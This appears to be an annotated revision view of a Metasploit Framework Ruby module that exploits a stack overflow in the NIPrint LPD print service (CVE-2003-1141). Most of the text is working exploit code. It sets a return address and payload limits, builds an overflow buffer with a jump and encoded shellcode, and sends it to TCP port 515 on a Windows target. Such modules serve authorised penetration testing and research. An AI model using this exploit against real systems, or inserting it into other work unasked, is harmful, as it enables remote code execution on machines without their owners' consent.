2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-09-12 06:05:23 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-09-12 06:05:23 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-09-12 06:05:23 +00:00
|
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NIPrint LPD Request Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a stack overflow in the
|
|
|
|
Network Instrument NIPrint LPD service. Inspired by
|
|
|
|
Immunity's VisualSploit :-)
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-12 06:05:23 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-16 16:02:24 +00:00
|
|
|
['CVE', '2003-1141'],
|
2006-09-12 06:05:23 +00:00
|
|
|
['OSVDB', '2774'],
|
|
|
|
['BID', '8968'],
|
|
|
|
['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00\x0a",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
|
|
|
|
],
|
|
|
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options( [ Opt::RPORT(515) ], self.class )
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
req = rand_text_alphanumeric(8192)
|
2006-09-12 06:05:23 +00:00
|
|
|
req[ 0, 2] = "\xeb\x33"
|
|
|
|
req[ 49, 4] = [target.ret].pack('V')
|
|
|
|
req[ 53, payload.encoded.length ] = payload.encoded
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(req)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|